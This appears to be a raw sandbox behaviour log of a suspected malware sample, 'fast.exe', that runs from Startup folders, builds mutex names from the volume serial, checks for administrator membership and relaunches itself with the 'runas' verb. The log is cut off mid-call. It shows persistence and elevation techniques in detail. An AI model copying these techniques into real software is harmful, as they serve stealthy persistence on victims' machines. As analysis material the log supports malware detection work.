[0247.258] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.259] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.260] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.261] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.262] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.263] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.264] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.266] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.268] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.268] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.268] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0247.268] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 61 os_tid = 0x728 Thread: id = 62 os_tid = 0x748 Process: id = "9" image_name = "fast.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe" page_root = "0x13367000" os_pid = "0x578" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x4c4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e994" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 41 os_tid = 0x57c [0190.047] GetProcessHeap () returned 0x470000 [0190.047] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x4819a0 [0190.047] GetProcessHeap () returned 0x470000 [0190.047] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x3a80) returned 0x486440 [0190.606] GetProcessHeap () returned 0x470000 [0190.607] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x300) returned 0x489ec8 [0190.607] GetProcessHeap () returned 0x470000 [0190.608] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x4817c8 [0190.608] GetTickCount () returned 0x113a5b2 [0190.608] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x38fc38, cchData=32 | out: lpLCData="\x03") returned 16 [0192.670] GetProcessHeap () returned 0x470000 [0192.670] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483d40 [0192.670] GetProcessHeap () returned 0x470000 [0192.670] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a208 [0192.670] GetProcessHeap () returned 0x470000 [0192.670] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a420 [0192.670] GetProcessHeap () returned 0x470000 [0192.670] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a638 [0192.670] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48a638, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x64 [0192.670] GetProcessHeap () returned 0x470000 [0192.670] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a638 | out: hHeap=0x470000) returned 1 [0192.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jukse.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\jukse.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.671] GetProcessHeap () returned 0x470000 [0192.671] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a208 | out: hHeap=0x470000) returned 1 [0192.671] GetProcessHeap () returned 0x470000 [0192.671] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a420 | out: hHeap=0x470000) returned 1 [0192.671] GetProcessHeap () returned 0x470000 [0192.671] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483d40 | out: hHeap=0x470000) returned 1 [0192.671] GetVersion () returned 0x1db10106 [0192.672] GetCurrentProcess () returned 0xffffffff [0192.672] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x38fbcc | out: TokenHandle=0x38fbcc*=0xa0) returned 1 [0192.672] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x38fbc4, TokenInformationLength=0x4, ReturnLength=0x38fbc8 | out: TokenInformation=0x38fbc4, ReturnLength=0x38fbc8) returned 1 [0192.672] CloseHandle (hObject=0xa0) returned 1 [0192.672] GetProcessHeap () returned 0x470000 [0192.674] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483d40 [0192.674] GetProcessHeap () returned 0x470000 [0192.674] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a208 [0192.674] GetProcessHeap () returned 0x470000 [0192.674] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a420 [0192.674] GetProcessHeap () returned 0x470000 [0192.675] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a208 | out: hHeap=0x470000) returned 1 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a420 | out: hHeap=0x470000) returned 1 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483d90 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x483db8 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x483de0 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48a208 [0192.675] GetProcessHeap () returned 0x470000 [0192.675] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a208 | out: hHeap=0x470000) returned 1 [0192.675] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x483db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0192.675] GetProcessHeap () returned 0x470000 [0192.676] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483de0 | out: hHeap=0x470000) returned 1 [0192.676] GetProcessHeap () returned 0x470000 [0192.676] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483d90 | out: hHeap=0x470000) returned 1 [0192.676] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x38fb84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x38fb84*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0192.677] GetProcessHeap () returned 0x470000 [0192.677] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483db8 | out: hHeap=0x470000) returned 1 [0192.677] GetProcessHeap () returned 0x470000 [0192.677] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x48a208 [0192.677] GetProcessHeap () returned 0x470000 [0192.677] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x48a240 [0192.677] GetProcessHeap () returned 0x470000 [0192.677] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48a240, Size=0x4a) returned 0x48a240 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a208 | out: hHeap=0x470000) returned 1 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a240 | out: hHeap=0x470000) returned 1 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1c) returned 0x483db8 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1c) returned 0x483de0 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a220 [0192.678] GetProcessHeap () returned 0x470000 [0192.678] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x48a248 [0192.678] GetProcessHeap () returned 0x470000 [0192.679] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x48a270 [0192.679] GetProcessHeap () returned 0x470000 [0192.679] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48aa08 [0192.679] GetProcessHeap () returned 0x470000 [0192.679] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48aa08 | out: hHeap=0x470000) returned 1 [0192.679] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x48a248, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0192.679] GetProcessHeap () returned 0x470000 [0192.679] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a270 | out: hHeap=0x470000) returned 1 [0192.679] GetProcessHeap () returned 0x470000 [0192.679] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a220 | out: hHeap=0x470000) returned 1 [0192.679] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x38fb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x38fb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0192.680] GetProcessHeap () returned 0x470000 [0192.680] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a248 | out: hHeap=0x470000) returned 1 [0192.680] GetProcessHeap () returned 0x470000 [0192.680] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484118 [0192.680] GetProcessHeap () returned 0x470000 [0192.680] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x484160 [0192.680] GetProcessHeap () returned 0x470000 [0192.680] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x484160, Size=0x72) returned 0x47f910 [0192.680] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0192.681] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0192.681] CloseHandle (hObject=0xa0) returned 1 [0192.681] GetProcessHeap () returned 0x470000 [0192.681] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484118 | out: hHeap=0x470000) returned 1 [0192.681] GetProcessHeap () returned 0x470000 [0192.681] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f910 | out: hHeap=0x470000) returned 1 [0192.681] GetProcessHeap () returned 0x470000 [0192.681] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a220 [0192.681] GetProcessHeap () returned 0x470000 [0192.681] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x48a248 [0192.681] GetProcessHeap () returned 0x470000 [0192.681] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x48a270 [0192.681] GetProcessHeap () returned 0x470000 [0192.682] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48aa08 [0192.682] GetProcessHeap () returned 0x470000 [0192.682] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48aa08 | out: hHeap=0x470000) returned 1 [0192.682] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x48a248, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0192.682] GetProcessHeap () returned 0x470000 [0192.682] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a270 | out: hHeap=0x470000) returned 1 [0192.682] GetProcessHeap () returned 0x470000 [0192.682] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a220 | out: hHeap=0x470000) returned 1 [0192.682] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x38fb54, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x38fb54*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0192.683] GetProcessHeap () returned 0x470000 [0192.683] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a248 | out: hHeap=0x470000) returned 1 [0192.683] GetProcessHeap () returned 0x470000 [0192.683] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484118 [0192.683] GetProcessHeap () returned 0x470000 [0192.683] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x484160 [0192.683] GetProcessHeap () returned 0x470000 [0192.683] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x484160, Size=0x72) returned 0x47f910 [0192.683] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0192.683] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0192.684] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0192.684] GetProcessHeap () returned 0x470000 [0192.684] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484118 | out: hHeap=0x470000) returned 1 [0192.684] GetProcessHeap () returned 0x470000 [0192.684] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f910 | out: hHeap=0x470000) returned 1 [0192.684] ReleaseMutex (hMutex=0xa0) returned 1 [0192.684] CloseHandle (hObject=0xa0) returned 1 [0192.684] GetVersion () returned 0x1db10106 [0192.684] GetProcessHeap () returned 0x470000 [0192.684] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x4817e0 [0192.684] GetProcessHeap () returned 0x470000 [0192.684] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48aa08 [0192.685] GetCurrentProcess () returned 0xffffffff [0192.685] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x38fb94 | out: TokenHandle=0x38fb94*=0xa0) returned 1 [0192.685] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x38fbac | out: TokenInformation=0x0, ReturnLength=0x38fbac) returned 0 [0192.685] GetProcessHeap () returned 0x470000 [0192.685] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x118) returned 0x48ac20 [0192.685] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x48ac20, TokenInformationLength=0x118, ReturnLength=0x38fbac | out: TokenInformation=0x48ac20, ReturnLength=0x38fbac) returned 1 [0192.685] AllocateAndInitializeSid (in: pIdentifierAuthority=0x38fba0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x38fba8 | out: pSid=0x38fba8*=0x4817f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0192.685] EqualSid (pSid1=0x4817f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x48ac84*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0192.686] EqualSid (pSid1=0x4817f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x48aca0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0192.686] EqualSid (pSid1=0x4817f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x48acac*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0192.686] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x48acac*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x38f778, cchName=0x38fbac, ReferencedDomainName=0x38f984, cchReferencedDomainName=0x38fbac, peUse=0x38fb90 | out: Name="Administrators", cchName=0x38fbac, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x38fbac, peUse=0x38fb90) returned 1 [0193.951] GetProcessHeap () returned 0x470000 [0193.951] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ac20 | out: hHeap=0x470000) returned 1 [0193.952] GetProcessHeap () returned 0x470000 [0193.952] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48ac20 [0193.953] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0193.953] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0193.954] Wow64DisableWow64FsRedirection (in: OldValue=0x38fbc8 | out: OldValue=0x38fbc8*=0x0) returned 1 [0193.954] GetProcessHeap () returned 0x470000 [0193.954] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ac20 | out: hHeap=0x470000) returned 1 [0193.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48aa08, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x64 [0193.954] ShellExecuteExW (pExecInfo=0x38fb6c*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 43 os_tid = 0x5f0 Thread: id = 57 os_tid = 0x690 Thread: id = 59 os_tid = 0x698 Process: id = "10" image_name = "fast.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe" page_root = "0x75a58000" os_pid = "0x5dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x570" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e994" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x5e0 [0198.908] GetProcessHeap () returned 0x690000 [0198.908] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x30) returned 0x6a18c0 [0198.908] GetProcessHeap () returned 0x690000 [0198.908] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x3a80) returned 0x6a62d0 [0198.913] GetProcessHeap () returned 0x690000 [0198.913] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x300) returned 0x6a9d58 [0198.914] GetProcessHeap () returned 0x690000 [0198.914] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6a16e8 [0198.915] GetTickCount () returned 0x113c3bd [0198.915] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x32f9e8, cchData=32 | out: lpLCData="\x03") returned 16 [0198.918] GetProcessHeap () returned 0x690000 [0198.918] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20) returned 0x6a3c00 [0198.918] GetProcessHeap () returned 0x690000 [0198.918] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa098 [0198.918] GetProcessHeap () returned 0x690000 [0198.918] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa2b0 [0198.918] GetProcessHeap () returned 0x690000 [0198.918] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20a) returned 0x6aa4c8 [0198.918] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6aa4c8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0198.918] GetProcessHeap () returned 0x690000 [0198.918] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa4c8 | out: hHeap=0x690000) returned 1 [0198.918] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jukse.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\jukse.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.919] GetProcessHeap () returned 0x690000 [0198.919] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa098 | out: hHeap=0x690000) returned 1 [0198.919] GetProcessHeap () returned 0x690000 [0198.919] HeapFree (in: hHeap=0x690000, dwFlags=0x0, 